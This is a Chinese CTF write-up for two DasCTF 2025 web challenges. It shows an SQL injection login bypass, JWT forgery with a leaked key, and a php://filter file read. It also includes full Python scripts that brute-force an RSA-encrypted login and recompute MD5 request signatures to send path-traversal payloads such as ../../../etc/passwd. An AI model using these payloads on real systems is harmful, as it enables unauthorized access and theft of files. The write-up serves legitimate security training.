DasCtf2025 下半年赛

web

SecretPhotoGallery

登录框发现能注入,题目提示为sqlite数据库,且数据库为空。
admin' union select 1, 1, 1;成功登录。
登录后给了jwt认证token,前端每一个图片有一个的文件名,收集起来是 GALLERY2024SECRET,是jwt秘钥。
签个admin权限即可
进入管理页面,可以include任意文件,伪协议读取flag.php,发现base64被过滤,换个filter即可
php://filter/convert.iconv.UTF-8.UTF-16/resource=flag.php

devweb

分析网站js文件

登录功能
用户输入用户名和密码
密码使用RSA公钥加密后发送到 http://localhost:8080/login
使用Axios发送POST请求

文件下载
文件列表包含 app.jmx 和 index.html
下载链接格式:/download?file={文件名}&sign=6f742c2e79030435b7edc1d79b8678f6

尝试直接download读取app.jmx文件,发现返回500Internal Server Error
说明路由存在但目前访问不了
猜测可能需要先登录才能访问下载路由
登录功能并没有完全实现,RSA公钥被注释,需要我们自己实现网站的RSA加密功能加密密码再发送到/login路由进行登录
写个脚本爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import requests
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
import urllib.parse

class LoginBruteForce:
def __init__(self):
# RSA 公钥(从前端代码提取)
self.public_key_b64 = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

# 登录 URL
self.login_url = "http://3ec8105c-3dd0-45a1-9a2c-acbde840a892.node5.buuoj.cn:81/login"

# 初始化 RSA 公钥
self.setup_rsa()

def setup_rsa(self):
"""初始化 RSA 公钥"""
try:
# 解码 base64 公钥
key_der = base64.b64decode(self.public_key_b64)
# 导入公钥
self.public_key = RSA.import_key(key_der)
self.cipher = PKCS1_v1_5.new(self.public_key)
print("[+] RSA 公钥加载成功")
except Exception as e:
print(f"[-] RSA 公钥加载失败: {e}")
raise

def encrypt_password(self, password):
"""
使用 RSA 公钥加密密码
模拟前端的 t.encrypt(this.password) 操作
"""
try:
# 加密密码
encrypted = self.cipher.encrypt(password.encode('utf-8'))
# 转换为 base64
encrypted_b64 = base64.b64encode(encrypted).decode('utf-8')
return encrypted_b64
except Exception as e:
print(f"[-] 密码加密失败: {e}")
return None

def try_login(self, username, password):
"""
尝试登录
"""
# 加密密码
encrypted_pwd = self.encrypt_password(password)
if not encrypted_pwd:
return False

# URL 编码(模拟前端的 encodeURIComponent)
username_encoded = urllib.parse.quote(username)
password_encoded = urllib.parse.quote(encrypted_pwd)
print(f"[*] 尝试登录: {username}:{password_encoded}")
# 构造请求数据
data = f"username={username_encoded}&password={password_encoded}"

# 发送请求
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}

try:
print(f"[*] 发送请求: {self.login_url}")
print(f"[*] 请求数据: {data}")
print(f"[*] 请求头: {headers}")
response = requests.post(
self.login_url,
data=data,
headers=headers,
timeout=5
)
print(f"[*] 响应状态码: {response.status_code}")
print(f"[*] 响应内容: {response.text}")
# 判断是否成功(根据前端代码,成功返回 200)
if response.status_code == 200:
# 可以添加更多判断逻辑,比如检查响应内容
print(f"[+] 登录成功!用户名: {username}, 密码: {password}")
return True
else:
print(f"[-] 失败: {username}:{password} (状态码: {response.status_code})")
return False

except requests.exceptions.RequestException as e:
print(f"[-] 请求错误: {e}")
return False

def brute_force(self, username, password_list_file):
"""
密码爆破主函数
"""
print(f"[*] 开始爆破用户: {username}")
print(f"[*] 密码字典: {password_list_file}")
print("-" * 50)

try:
with open(password_list_file, 'r', encoding='utf-8') as f:
passwords = f.readlines()

total = len(passwords)
for idx, password in enumerate(passwords, 1):
password = password.strip()
if not password:
continue

print(f"[*] 尝试 {idx}/{total}: {password}")

if self.try_login(username, password):
print(f"\n[+] 爆破成功!")
print(f"[+] 用户名: {username}")
print(f"[+] 密码: {password}")
return True

print(f"\n[-] 爆破失败,未找到正确密码")
return False

except FileNotFoundError:
print(f"[-] 密码字典文件不存在: {password_list_file}")
return False

# 使用示例
if __name__ == "__main__":
bruter = LoginBruteForce()

# 方式1: 使用密码字典文件
# bruter.brute_force("admin", "passwords.txt")

# 方式2: 测试单个密码
bruter.try_login("admin", "123456")

# 方式3: 使用常见密码列表
common_passwords = [
"123456", "password", "admin", "admin123",
"123456789", "12345678", "12345", "1234567",
"password123", "1234567890", "000000", "111111"
]

for pwd in common_passwords:
if bruter.try_login("admin", pwd):
break

成功爆破出密码admin/123456

这里的代码检测响应码的方式并不算适合这个题,网站登录成功与失败都会回显404,但是查看回显是可以看出来登录成功跳转的是/dashboard而失败跳转的是/login

BP抓包登录拿cookie

然后访问/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6

成功下载app.jmx文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>

重点为加密逻辑和salt的值

1
2
3
4
5
6
7
8
9
10
11
12
13
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>

def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);

写个爆破脚本即可计算每一种文件名对应的sign值进而进行读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
import hashlib
import requests
import urllib.parse
import time

def calculate_sign(mingWen, salt):
"""计算签名"""
# Step 1: 对明文进行MD5
firstMi = hashlib.md5(mingWen.encode()).hexdigest()

# Step 2: 截取第5-15位字符(索引5-16)
jieStr = firstMi[5:16]

# Step 3: 拼接字符串
newStr = firstMi + jieStr + salt

# Step 4: 再次MD5
sign = hashlib.md5(newStr.encode()).hexdigest()

return sign

def send_request(host, port, filename, sign, protocol="http", timeout=10):
"""发送请求并返回响应信息"""
url = f"{protocol}://{host}:{port}/download?file={urllib.parse.quote(filename)}&sign={sign}"
headers={
"Cookie": "JSESSIONID=B23F394EBDECB16AB7702C99C8D329FF"
}
try:
response = requests.get(url,headers=headers, timeout=timeout)

# 返回响应信息
return {
"status_code": response.status_code,
"headers": dict(response.headers),
"content": response.text[:500], # 只取前500个字符
"content_length": len(response.text),
"url": response.url
}
except requests.exceptions.RequestException as e:
return {
"error": str(e),
"status_code": None,
"url": f"{url}?file={urllib.parse.quote(filename)}&sign={sign}"
}

def detect_flag_pattern(text):
"""检测响应中是否包含flag模式"""
flag_patterns = [
r'flag{.*?}',
r'FLAG{.*?}',
r'Flag{.*?}',
r'flag:.*?',
r'FLAG:.*?',
r'key{.*?}',
r'KEY{.*?}',
r'Key{.*?}',
r'secret{.*?}',
r'SECRET{.*?}',
r'Secret{.*?}',
]

import re
found_flags = []

for pattern in flag_patterns:
matches = re.findall(pattern, text, re.IGNORECASE | re.DOTALL)
if matches:
found_flags.extend(matches)

return found_flags

def test_common_payloads(host="localhost", port=8080, protocol="http", delay=0.5):
"""测试常见payload并发送请求检测回显"""
salt = "f9bc855c9df15ba7602945fb939deefc"

print("=== 测试常见payload并发送请求 ===")
print(f"目标: {protocol}://{host}:{port}")
print(f"目标sign: 6f742c2e79030435b7edc1d79b8678f6")
print("-" * 80)

# 常见payload列表
payloads = [
# 基本文件名
"flag",
"flag.txt",
"flag.php",
"flag.html",
".flag",
"flag.txt.bak",
"flag.bak",

# 常见flag变体
"root.txt",
"user.txt",
"secret.txt",
"key.txt",
"password.txt",
"credentials.txt",

# 配置文件
"config.php",
"config.txt",
"config.bak",
"config.json",
"settings.py",
".env",

# 备份文件
"backup.zip",
"backup.tar",
"backup.tar.gz",
"database.sql",
"dump.sql",

# 目录遍历
"../../../etc/passwd",
"../../../etc/shadow",
"../../../../flag.txt",
"../../../flag",
"....//....//flag",
"%2e%2e%2fflag",

# Windows路径
"..\\..\\..\\flag.txt",
"C:\\flag.txt",
"D:\\flag.txt",

# 绝对路径
"/flag",
"/var/www/html/flag.php",
"/home/flag",
"/root/flag.txt",

# 常见web文件
"index.php",
"admin.php",
"login.php",
"auth.php",
"api.php",

# 其他常见文件
".htaccess",
".git/config",
".svn/entries",
".DS_Store",
"robots.txt",
"sitemap.xml",
]

successful_responses = []

for i, filename in enumerate(payloads):
print(f"\n[{i+1}/{len(payloads)}] 测试: {filename}")

# 计算sign
sign = calculate_sign(filename, salt)

# 显示计算的sign
print(f" 计算的sign: {sign}")

# 检查是否与目标sign匹配
if sign == "6f742c2e79030435b7edc1d79b8678f6":
print(f" ⚠️ 注意: 计算的sign与目标sign匹配!")

# 发送请求
print(f" 发送请求...")
result = send_request(host, port, filename, sign, protocol)

# 解析结果
if "error" in result:
print(f" ❌ 请求失败: {result['error']}")
else:
status_code = result["status_code"]
content_length = result["content_length"]

print(f" ✅ 状态码: {status_code}, 内容长度: {content_length}")

# 检查响应状态
if status_code == 200:
# 检测flag模式
flags = detect_flag_pattern(result["content"])
if flags:
print(f" 🚩 发现可能的flag: {flags[:3]}") # 只显示前3个

# 如果有内容,显示预览
if content_length > 0:
preview = result["content"][:200].replace('\n', ' ').replace('\r', ' ')
print(f" 内容预览: {preview}...")

# 记录成功的响应
successful_responses.append({
"filename": filename,
"sign": sign,
"status_code": status_code,
"content_length": content_length,
"flags_found": flags,
"url": result.get("url", "")
})

# 显示其他状态码的信息
elif status_code == 404:
print(f" ℹ️ 文件未找到")
elif status_code == 403:
print(f" ⚠️ 访问被拒绝")
elif status_code == 500:
print(f" ⚠️ 服务器内部错误")

# 添加延迟,避免请求过快
if delay > 0 and i < len(payloads) - 1:
time.sleep(delay)

# 汇总成功的结果
print("\n" + "="*80)
print("测试完成!")

if successful_responses:
print(f"\n找到 {len(successful_responses)} 个成功的响应:")
for resp in successful_responses:
print(f"\n文件名: {resp['filename']}")
print(f"状态码: {resp['status_code']}")
print(f"内容长度: {resp['content_length']}")
if resp['flags_found']:
print(f"发现flag: {resp['flags_found'][0]}") # 只显示第一个
print(f"URL: {resp['url']}")
else:
print("没有找到成功的响应。")

return successful_responses



def main():
# 获取目标信息
host = input("目标主机 (默认: localhost): ").strip() or "localhost"
port = input("目标端口 (默认: 81): ").strip() or "81"
protocol = input("协议 (默认: http): ").strip() or "http"
delay = float(input("请求延迟 (秒,默认: 0.5): ").strip() or "0.5")

# 测试常见payload
test_common_payloads(host, port, protocol, delay)


if __name__ == "__main__":
# 如果需要快速开始,可以直接调用test_common_payloads
# test_common_payloads()

# 或者运行主菜单
main()

成功在../../../flag中发现flag